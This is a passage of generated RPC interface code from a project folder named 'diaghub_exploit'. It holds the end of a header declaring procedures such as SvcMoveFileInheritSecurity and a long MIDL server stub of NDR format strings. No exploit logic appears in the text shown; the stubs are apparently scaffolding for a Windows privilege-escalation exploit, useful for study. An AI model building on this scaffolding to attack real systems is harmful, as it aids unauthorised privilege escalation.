[in] */ short arg_3, 190 | /* [in] */ long arg_4); 191 | 192 | long Proc12( 193 | /* [in] */ handle_t IDL_handle, 194 | /* [in] */ struct Struct_90_t *arg_1); 195 | 196 | long Proc13( 197 | /* [in] */ handle_t IDL_handle, 198 | /* [in] */ short arg_1, 199 | /* [in] */ long arg_2); 200 | 201 | __int3264 SvcMoveFileInheritSecurity( 202 | /* [in] */ handle_t IDL_handle, 203 | /* [string][in] */ wchar_t *src, 204 | /* [string][in] */ wchar_t *dest, 205 | /* [in] */ long flags); 206 | 207 | long Proc15( 208 | /* [in] */ handle_t IDL_handle, 209 | /* [in] */ short arg_1, 210 | /* [in] */ long arg_2, 211 | /* [out][in] */ struct Struct_112_t *arg_3); 212 | 213 | long Proc16( 214 | /* [in] */ handle_t IDL_handle); 215 | 216 | long Proc17( 217 | /* [in] */ handle_t IDL_handle, 218 | /* [in] */ short arg_1, 219 | /* [in] */ long arg_2); 220 | 221 | long Proc18( 222 | /* [in] */ handle_t IDL_handle, 223 | /* [in] */ short arg_1, 224 | /* [out] */ long *arg_2); 225 | 226 | long Proc19( 227 | /* [in] */ handle_t IDL_handle, 228 | /* [in] */ short arg_1, 229 | /* [string][unique][in] */ wchar_t *arg_2, 230 | /* [out] */ long *arg_3); 231 | 232 | long Proc20( 233 | /* [in] */ handle_t IDL_handle, 234 | /* [in] */ short arg_1, 235 | /* [string][unique][in] */ wchar_t *arg_2, 236 | /* [in] */ long arg_3); 237 | 238 | long Proc21( 239 | /* [in] */ handle_t IDL_handle, 240 | /* [out][in] */ struct Struct_134_t *arg_1); 241 | 242 | 243 | 244 | extern RPC_IF_HANDLE DefaultIfName_v0_0_c_ifspec; 245 | extern RPC_IF_HANDLE DefaultIfName_v0_0_s_ifspec; 246 | #endif /* __DefaultIfName_INTERFACE_DEFINED__ */ 247 | 248 | /* Additional Prototypes for ALL interfaces */ 249 | 250 | /* end of Additional Prototypes */ 251 | 252 | #ifdef __cplusplus 253 | } 254 | #endif 255 | 256 | #endif 257 | 258 | 259 | -------------------------------------------------------------------------------- /diaghub_exploit/rpc_s.c: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the RPC server stubs */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0622 */ 7 | /* at Tue Jan 19 04:14:07 2038 8 | */ 9 | /* Compiler settings for rpc.idl: 10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 11 | protocol : all , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | #if defined(_M_AMD64) 20 | 21 | 22 | #if _MSC_VER >= 1200 23 | #pragma warning(push) 24 | #endif 25 | 26 | #pragma warning( disable: 4211 ) /* redefine extern to static */ 27 | #pragma warning( disable: 4232 ) /* dllimport identity*/ 28 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/ 29 | 30 | #include 31 | #include "rpc_h.h" 32 | 33 | #define TYPE_FORMAT_STRING_SIZE 149 34 | #define PROC_FORMAT_STRING_SIZE 1123 35 | #define EXPR_FORMAT_STRING_SIZE 1 36 | #define TRANSMIT_AS_TABLE_SIZE 0 37 | #define WIRE_MARSHAL_TABLE_SIZE 0 38 | 39 | typedef struct _rpc_MIDL_TYPE_FORMAT_STRING 40 | { 41 | short Pad; 42 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; 43 | } rpc_MIDL_TYPE_FORMAT_STRING; 44 | 45 | typedef struct _rpc_MIDL_PROC_FORMAT_STRING 46 | { 47 | short Pad; 48 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; 49 | } rpc_MIDL_PROC_FORMAT_STRING; 50 | 51 | typedef struct _rpc_MIDL_EXPR_FORMAT_STRING 52 | { 53 | long Pad; 54 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; 55 | } rpc_MIDL_EXPR_FORMAT_STRING; 56 | 57 | 58 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax = 59 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; 60 | 61 | static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax = 62 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}; 63 | 64 | 65 | extern const rpc_MIDL_TYPE_FORMAT_STRING rpc__MIDL_TypeFormatString; 66 | extern const rpc_MIDL_PROC_FORMAT_STRING rpc__MIDL_ProcFormatString; 67 | extern const rpc_MIDL_EXPR_FORMAT_STRING rpc__MIDL_ExprFormatString; 68 | 69 | /* Standard interface: DefaultIfName, ver. 0.0, 70 | GUID={0xbe7f785e,0x0e3a,0x4ab7,{0x91,0xde,0x7e,0x46,0xe4,0x43,0xbe,0x29}} */ 71 | 72 | 73 | extern const MIDL_SERVER_INFO DefaultIfName_ServerInfo; 74 | 75 | extern const RPC_DISPATCH_TABLE DefaultIfName_v0_0_DispatchTable; 76 | 77 | static const RPC_SERVER_INTERFACE DefaultIfName___RpcServerInterface = 78 | { 79 | sizeof(RPC_SERVER_INTERFACE), 80 | {{0xbe7f785e,0x0e3a,0x4ab7,{0x91,0xde,0x7e,0x46,0xe4,0x43,0xbe,0x29}},{0,0}}, 81 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, 82 | (RPC_DISPATCH_TABLE*)&DefaultIfName_v0_0_DispatchTable, 83 | 0, 84 | 0, 85 | 0, 86 | &DefaultIfName_ServerInfo, 87 | 0x06000000 88 | }; 89 | RPC_IF_HANDLE DefaultIfName_v0_0_s_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcServerInterface; 90 | 91 | extern const MIDL_STUB_DESC DefaultIfName_StubDesc; 92 | 93 | 94 | #if !defined(__RPC_WIN64__) 95 | #error Invalid build platform for this stub. 96 | #endif 97 | 98 | static const rpc_MIDL_PROC_FORMAT_STRING rpc__MIDL_ProcFormatString = 99 | { 100 | 0, 101 | { 102 | 103 | /* Procedure Proc0 */ 104 | 105 | 0x0, /* 0 */ 106 | 0x48, /* Old Flags: */ 107 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */ 108 | /* 6 */ NdrFcShort( 0x0 ), /* 0 */ 109 | /* 8 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 110 | /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */ 111 | 0x0, /* 0 */ 112 | /* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 113 | /* 14 */ NdrFcShort( 0x16 ), /* 22 */ 114 | /* 16 */ NdrFcShort( 0x8 ), /* 8 */ 115 | /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */ 116 | 0x4, /* 4 */ 117 | /* 20 */ 0xa, /* 10 */ 118 | 0x1, /* Ext Flags: new corr desc, */ 119 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */ 120 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */ 121 | /* 26 */ NdrFcShort( 0x0 ), /* 0 */ 122 | /* 28 */ NdrFcShort( 0x0 ), /* 0 */ 123 | 124 | /* Parameter arg_1 */ 125 | 126 | /* 30 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 127 | /* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 128 | /* 34 */ 0x6, /* FC_SHORT */ 129 | 0x0, /* 0 */ 130 | 131 | /* Parameter arg_2 */ 132 | 133 | /* 36 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 134 | /* 38 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 135 | /* 40 */ 0x8, /* FC_LONG */ 136 | 0x0, /* 0 */ 137 | 138 | /* Parameter arg_3 */ 139 | 140 | /* 42 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 141 | /* 44 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 142 | /* 46 */ 0x8, /* FC_LONG */ 143 | 0x0, /* 0 */ 144 | 145 | /* Return value */ 146 | 147 | /* 48 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 148 | /* 50 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 149 | /* 52 */ 0x8, /* FC_LONG */ 150 | 0x0, /* 0 */ 151 | 152 | /* Procedure Proc1 */ 153 | 154 | /* 54 */ 0x0, /* 0 */ 155 | 0x48, /* Old Flags: */ 156 | /* 56 */ NdrFcLong( 0x0 ), /* 0 */ 157 | /* 60 */ NdrFcShort( 0x1 ), /* 1 */ 158 | /* 62 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 159 | /* 64 */ 0x32, /* FC_BIND_PRIMITIVE */ 160 | 0x0, /* 0 */ 161 | /* 66 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 162 | /* 68 */ NdrFcShort( 0x16 ), /* 22 */ 163 | /* 70 */ NdrFcShort( 0x8 ), /* 8 */ 164 | /* 72 */ 0x44, /* Oi2 Flags: has return, has ext, */ 165 | 0x4, /* 4 */ 166 | /* 74 */ 0xa, /* 10 */ 167 | 0x1, /* Ext Flags: new corr desc, */ 168 | /* 76 */ NdrFcShort( 0x0 ), /* 0 */ 169 | /* 78 */ NdrFcShort( 0x0 ), /* 0 */ 170 | /* 80 */ NdrFcShort( 0x0 ), /* 0 */ 171 | /* 82 */ NdrFcShort( 0x0 ), /* 0 */ 172 | 173 | /* Parameter arg_1 */ 174 | 175 | /* 84 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 176 | /* 86 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 177 | /* 88 */ 0x6, /* FC_SHORT */ 178 | 0x0, /* 0 */ 179 | 180 | /* Parameter arg_2 */ 181 | 182 | /* 90 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 183 | /* 92 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 184 | /* 94 */ 0x8, /* FC_LONG */ 185 | 0x0, /* 0 */ 186 | 187 | /* Parameter arg_3 */ 188 | 189 | /* 96 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 190 | /* 98 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 191 | /* 100 */ 0x8, /* FC_LONG */ 192 | 0x0, /* 0 */ 193 | 194 | /* Return value */ 195 | 196 | /* 102 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 197 | /* 104 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 198 | /* 106 */ 0x8, /* FC_LONG */ 199 | 0x0, /* 0 */ 200 | 201 | /* Procedure Proc2 */ 202 | 203 | /* 108 */ 0x0, /* 0 */ 204 | 0x48, /* Old Flags: */ 205 | /* 110 */ NdrFcLong( 0x0 ), /* 0 */ 206 | /* 114 */ NdrFcShort( 0x2 ), /* 2 */ 207 | /* 116 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 208 | /* 118 */ 0x32, /* FC_BIND_PRIMITIVE */ 209 | 0x0, /* 0 */ 210 | /* 120 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 211 | /* 122 */ NdrFcShort( 0x16 ), /* 22 */ 212 | /* 124 */ NdrFcShort( 0x8 ), /* 8 */ 213 | /* 126 */ 0x44, /* Oi2 Flags: has return, has ext, */ 214 | 0x4, /* 4 */ 215 | /* 128 */ 0xa, /* 10 */ 216 | 0x1, /* Ext Flags: new corr desc, */ 217 | /* 130 */ NdrFcShort( 0x0 ), /* 0 */ 218 | /* 132 */ NdrFcShort( 0x0 ), /* 0 */ 219 | /* 134 */ NdrFcShort( 0x0 ), /* 0 */ 220 | /* 136 */ NdrFcShort( 0x0 ), /* 0 */ 221 | 222 | /* Parameter arg_1 */ 223 | 224 | /* 138 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 225 | /* 140 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 226 | /* 142 */ 0x6, /* FC_SHORT */ 227 | 0x0, /* 0 */ 228 | 229 | /* Parameter arg_2 */ 230 | 231 | /* 144 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 232 | /* 146 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 233 | /* 148 */ 0x8, /* FC_LONG */ 234 | 0x0, /* 0 */ 235 | 236 | /* Parameter arg_3 */ 237 | 238 | /* 150 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 239 | /* 152 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 240 | /* 154 */ 0x8, /* FC_LONG */ 241 | 0x0, /* 0 */ 242 | 243 | /* Return value */ 244 | 245 | /* 156 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 246 | /* 158 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 247 | /* 160 */ 0x8, /* FC_LONG */ 248 | 0x0, /* 0 */ 249 | 250 | /* Procedure Proc3 */ 251 | 252 | /* 162 */ 0x0, /* 0 */ 253 | 0x48, /* Old Flags: */ 254 | /* 164 */ NdrFcLong( 0x0 ), /* 0 */ 255 | /* 168 */ NdrFcShort( 0x3 ), /* 3 */ 256 | /* 170 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 257 | /* 172 */ 0x32, /* FC_BIND_PRIMITIVE */ 258 | 0x0, /* 0 */ 259 | /* 174 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 260 | /* 176 */ NdrFcShort( 0x6 ), /* 6 */ 261 | /* 178 */ NdrFcShort( 0x24 ), /* 36 */ 262 | /* 180 */ 0x44, /* Oi2 Flags: has return, has ext, */ 263 | 0x3, /* 3 */ 264 | /* 182 */ 0xa, /* 10 */ 265 | 0x1, /* Ext Flags: new corr desc, */ 266 | /* 184 */ NdrFcShort( 0x0 ), /* 0 */ 267 | /* 186 */ NdrFcShort( 0x0 ), /* 0 */ 268 | /* 188 */ NdrFcShort( 0x0 ), /* 0 */ 269 | /* 190 */ NdrFcShort( 0x0 ), /* 0 */ 270 | 271 | /* Parameter arg_1 */ 272 | 273 | /* 192 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 274 | /* 194 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 275 | /* 196 */ 0x6, /* FC_SHORT */ 276 | 0x0, /* 0 */ 277 | 278 | /* Parameter arg_2 */ 279 | 280 | /* 198 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ 281 | /* 200 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 282 | /* 202 */ 0x8, /* FC_LONG */ 283 | 0x0, /* 0 */ 284 | 285 | /* Return value */ 286 | 287 | /* 204 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 288 | /* 206 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 289 | /* 208 */ 0x8, /* FC_LONG */ 290 | 0x0, /* 0 */ 291 | 292 | /* Procedure Proc4 */ 293 | 294 | /* 210 */ 0x0, /* 0 */ 295 | 0x48, /* Old Flags: */ 296 | /* 212 */ NdrFcLong( 0x0 ), /* 0 */ 297 | /* 216 */ NdrFcShort( 0x4 ), /* 4 */ 298 | /* 218 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 299 | /* 220 */ 0x32, /* FC_BIND_PRIMITIVE */ 300 | 0x0, /* 0 */ 301 | /* 222 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 302 | /* 224 */ NdrFcShort( 0x4ba ), /* 1210 */ 303 | /* 226 */ NdrFcShort( 0x4b4 ), /* 1204 */ 304 | /* 228 */ 0x44, /* Oi2 Flags: has return, has ext, */ 305 | 0x4, /* 4 */ 306 | /* 230 */ 0xa, /* 10 */ 307 | 0x1, /* Ext Flags: new corr desc, */ 308 | /* 232 */ NdrFcShort( 0x0 ), /* 0 */ 309 | /* 234 */ NdrFcShort( 0x0 ), /* 0 */ 310 | /* 236 */ NdrFcShort( 0x0 ), /* 0 */ 311 | /* 238 */ NdrFcShort( 0x0 ), /* 0 */ 312 | 313 | /* Parameter arg_1 */ 314 | 315 | /* 240 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 316 | /* 242 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 317 | /* 244 */ 0x6, /* FC_SHORT */ 318 | 0x0, /* 0 */ 319 | 320 | /* Parameter arg_2 */ 321 | 322 | /* 246 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 323 | /* 248 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 324 | /* 250 */ 0x8, /* FC_LONG */ 325 | 0x0, /* 0 */ 326 | 327 | /* Parameter arg_3 */ 328 | 329 | /* 252 */ NdrFcShort( 0x11a ), /* Flags: must free, in, out, simple ref, */ 330 | /* 254 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 331 | /* 256 */ NdrFcShort( 0x22 ), /* Type Offset=34 */ 332 | 333 | /* Return value */ 334 | 335 | /* 258 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 336 | /* 260 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 337 | /* 262 */ 0x8, /* FC_LONG */ 338 | 0x0, /* 0 */ 339 | 340 | /* Procedure Proc5 */ 341 | 342 | /* 264 */ 0x0, /* 0 */ 343 | 0x48, /* Old Flags: */ 344 | /* 266 */ NdrFcLong( 0x0 ), /* 0 */ 345 | /* 270 */ NdrFcShort( 0x5 ), /* 5 */ 346 | /* 272 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ 347 | /* 274 */ 0x32, /* FC_BIND_PRIMITIVE */ 348 | 0x0, /* 0 */ 349 | /* 276 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 350 | /* 278 */ NdrFcShort( 0x14 ), /* 20 */ 351 | /* 280 */ NdrFcShort( 0x44 ), /* 68 */ 352 | /* 282 */ 0x44, /* Oi2 Flags: has return, has ext, */ 353 | 0x5, /* 5 */ 354 | /* 284 */ 0xa, /* 10 */ 355 | 0x1, /* Ext Flags: new corr desc, */ 356 | /* 286 */ NdrFcShort( 0x0 ), /* 0 */ 357 | /* 288 */ NdrFcShort( 0x0 ), /* 0 */ 358 | /* 290 */ NdrFcShort( 0x0 ), /* 0 */ 359 | /* 292 */ NdrFcShort( 0x0 ), /* 0 */ 360 | 361 | /* Parameter arg_1 */ 362 | 363 | /* 294 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 364 | /* 296 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 365 | /* 298 */ 0x6, /* FC_SHORT */ 366 | 0x0, /* 0 */ 367 | 368 | /* Parameter arg_2 */ 369 | 370 | /* 300 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 371 | /* 302 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 372 | /* 304 */ 0x6, /* FC_SHORT */ 373 | 0x0, /* 0 */ 374 | 375 | /* Parameter arg_3 */ 376 | 377 | /* 306 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 378 | /* 308 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 379 | /* 310 */ 0x8, /* FC_LONG */ 380 | 0x0, /* 0 */ 381 | 382 | /* Parameter arg_4 */ 383 | 384 | /* 312 */ NdrFcShort( 0x2112 ), /* Flags: must free, out, simple ref, srv alloc size=8 */ 385 | /* 314 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 386 | /* 316 */ NdrFcShort( 0x48 ), /* Type Offset=72 */ 387 | 388 | /* Return value */ 389 | 390 | /* 318 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 391 | /* 320 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 392 | /* 322 */ 0x8, /* FC_LONG */ 393 | 0x0, /* 0 */ 394 | 395 | /* Procedure Proc6 */ 396 | 397 | /* 324 */ 0x0, /* 0 */ 398 | 0x48, /* Old Flags: */ 399 | /* 326 */ NdrFcLong( 0x0 ), /* 0 */ 400 | /* 330 */ NdrFcShort( 0x6 ), /* 6 */ 401 | /* 332 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 402 | /* 334 */ 0x32, /* FC_BIND_PRIMITIVE */ 403 | 0x0, /* 0 */ 404 | /* 336 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 405 | /* 338 */ NdrFcShort( 0x18 ), /* 24 */ 406 | /* 340 */ NdrFcShort( 0x8 ), /* 8 */ 407 | /* 342 */ 0x44, /* Oi2 Flags: has return, has ext, */ 408 | 0x4, /* 4 */ 409 | /* 344 */ 0xa, /* 10 */ 410 | 0x1, /* Ext Flags: new corr desc, */ 411 | /* 346 */ NdrFcShort( 0x0 ), /* 0 */ 412 | /* 348 */ NdrFcShort( 0x0 ), /* 0 */ 413 | /* 350 */ NdrFcShort( 0x0 ), /* 0 */ 414 | /* 352 */ NdrFcShort( 0x0 ), /* 0 */ 415 | 416 | /* Parameter arg_1 */ 417 | 418 | /* 354 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 419 | /* 356 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 420 | /* 358 */ 0x8, /* FC_LONG */ 421 | 0x0, /* 0 */ 422 | 423 | /* Parameter arg_2 */ 424 | 425 | /* 360 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 426 | /* 362 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 427 | /* 364 */ 0x8, /* FC_LONG */ 428 | 0x0, /* 0 */ 429 | 430 | /* Parameter arg_3 */ 431 | 432 | /* 366 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 433 | /* 368 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 434 | /* 370 */ 0x8, /* FC_LONG */ 435 | 0x0, /* 0 */ 436 | 437 | /* Return value */ 438 | 439 | /* 372 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 440 | /* 374 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 441 | /* 376 */ 0x8, /* FC_LONG */ 442 | 0x0, /* 0 */ 443 | 444 | /* Procedure Proc7 */ 445 | 446 | /* 378 */ 0x0, /* 0 */ 447 | 0x48, /* Old Flags: */ 448 | /* 380 */ NdrFcLong( 0x0 ), /* 0 */ 449 | /* 384 */ NdrFcShort( 0x7 ), /* 7 */ 450 | /* 386 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 451 | /* 388 */ 0x32, /* FC_BIND_PRIMITIVE */ 452 | 0x0, /* 0 */ 453 | /* 390 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 454 | /* 392 */ NdrFcShort( 0x10 ), /* 16 */ 455 | /* 394 */ NdrFcShort( 0x8 ), /* 8 */ 456 | /* 396 */ 0x44, /* Oi2 Flags: has return, has ext, */ 457 | 0x3, /* 3 */ 458 | /* 398 */ 0xa, /* 10 */ 459 | 0x1, /* Ext Flags: new corr desc, */ 460 | /* 400 */ NdrFcShort( 0x0 ), /* 0 */ 461 | /* 402 */ NdrFcShort( 0x0 ), /* 0 */ 462 | /* 404 */ NdrFcShort( 0x0 ), /* 0 */ 463 | /* 406 */ NdrFcShort( 0x0 ), /* 0 */ 464 | 465 | /* Parameter arg_1 */ 466 | 467 | /* 408 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 468 | /* 410 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 469 | /* 412 */ 0x8, /* FC_LONG */ 470 | 0x0, /* 0 */ 471 | 472 | /* Parameter arg_2 */ 473 | 474 | /* 414 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 475 | /* 416 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 476 | /* 418 */ 0x8, /* FC_LONG */ 477 | 0x0, /* 0 */ 478 | 479 | /* Return value */ 480 | 481 | /* 420 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 482 | /* 422 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 483 | /* 424 */ 0x8, /* FC_LONG */ 484 | 0x0, /* 0 */ 485 | 486 | /* Procedure Proc8 */ 487 | 488 | /* 426 */ 0x0, /* 0 */ 489 | 0x48, /* Old Flags: */ 490 | /* 428 */ NdrFcLong( 0x0 ), /* 0 */ 491 | /* 432 */ NdrFcShort( 0x8 ), /* 8 */ 492 | /* 434 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 493 | /* 436 */ 0x32, /* FC_BIND_PRIMITIVE */ 494 | 0x0, /* 0 */ 495 | /* 438 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 496 | /* 440 */ NdrFcShort( 0x10 ), /* 16 */ 497 | /* 442 */ NdrFcShort( 0x8 ), /* 8 */ 498 | /* 444 */ 0x44, /* Oi2 Flags: has return, has ext, */ 499 | 0x3, /* 3 */ 500 | /* 446 */ 0xa, /* 10 */ 501 | 0x1, /* Ext Flags: new corr desc, */ 502 | /* 448 */ NdrFcShort( 0x0 ), /* 0 */ 503 | /* 450 */ NdrFcShort( 0x0 ), /* 0 */ 504 | /* 452 */ NdrFcShort( 0x0 ), /* 0 */ 505 | /* 454 */ NdrFcShort( 0x0 ), /* 0 */ 506 | 507 | /* Parameter arg_1 */ 508 | 509 | /* 456 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 510 | /* 458 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 511 | /* 460 */ 0x8, /* FC_LONG */ 512 | 0x0, /* 0 */ 513 | 514 | /* Parameter arg_2 */ 515 | 516 | /* 462 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 517 | /* 464 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 518 | /* 466 */ 0x8, /* FC_LONG */ 519 | 0x0, /* 0 */ 520 | 521 | /* Return value */ 522 | 523 | /* 468 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 524 | /* 470 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 525 | /* 472 */ 0x8, /* FC_LONG */ 526 | 0x0, /* 0 */ 527 | 528 | /* Procedure Proc9 */ 529 | 530 | /* 474 */ 0x0, /* 0 */ 531 | 0x48, /* Old Flags: */ 532 | /* 476 */ NdrFcLong( 0x0 ), /* 0 */ 533 | /* 480 */ NdrFcShort( 0x9 ), /* 9 */ 534 | /* 482 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 535 | /* 484 */ 0x32, /* FC_BIND_PRIMITIVE */ 536 | 0x0, /* 0 */ 537 | /* 486 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 538 | /* 488 */ NdrFcShort( 0xe ), /* 14 */ 539 | /* 490 */ NdrFcShort( 0x8 ), /* 8 */ 540 | /* 492 */ 0x44, /* Oi2 Flags: has return, has ext, */ 541 | 0x3, /* 3 */ 542 | /* 494 */ 0xa, /* 10 */ 543 | 0x1, /* Ext Flags: new corr desc, */ 544 | /* 496 */ NdrFcShort( 0x0 ), /* 0 */ 545 | /* 498 */ NdrFcShort( 0x0 ), /* 0 */ 546 | /* 500 */ NdrFcShort( 0x0 ), /* 0 */ 547 | /* 502 */ NdrFcShort( 0x0 ), /* 0 */ 548 | 549 | /* Parameter arg_1 */ 550 | 551 | /* 504 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 552 | /* 506 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 553 | /* 508 */ 0x6, /* FC_SHORT */ 554 | 0x0, /* 0 */ 555 | 556 | /* Parameter arg_2 */ 557 | 558 | /* 510 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 559 | /* 512 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 560 | /* 514 */ 0x8, /* FC_LONG */ 561 | 0x0, /* 0 */ 562 | 563 | /* Return value */ 564 | 565 | /* 516 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 566 | /* 518 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 567 | /* 520 */ 0x8, /* FC_LONG */ 568 | 0x0, /* 0 */ 569 | 570 | /* Procedure Proc10 */ 571 | 572 | /* 522 */ 0x0, /* 0 */ 573 | 0x48, /* Old Flags: */ 574 | /* 524 */ NdrFcLong( 0x0 ), /* 0 */ 575 | /* 528 */ NdrFcShort( 0xa ), /* 10 */ 576 | /* 530 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ 577 | /* 532 */ 0x32, /* FC_BIND_PRIMITIVE */ 578 | 0x0, /* 0 */ 579 | /* 534 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 580 | /* 536 */ NdrFcShort( 0x14 ), /* 20 */ 581 | /* 538 */ NdrFcShort( 0x24 ), /* 36 */ 582 | /* 540 */ 0x44, /* Oi2 Flags: has return, has ext, */ 583 | 0x5, /* 5 */ 584 | /* 542 */ 0xa, /* 10 */ 585 | 0x1, /* Ext Flags: new corr desc, */ 586 | /* 544 */ NdrFcShort( 0x0 ), /* 0 */ 587 | /* 546 */ NdrFcShort( 0x0 ), /* 0 */ 588 | /* 548 */ NdrFcShort( 0x0 ), /* 0 */ 589 | /* 550 */ NdrFcShort( 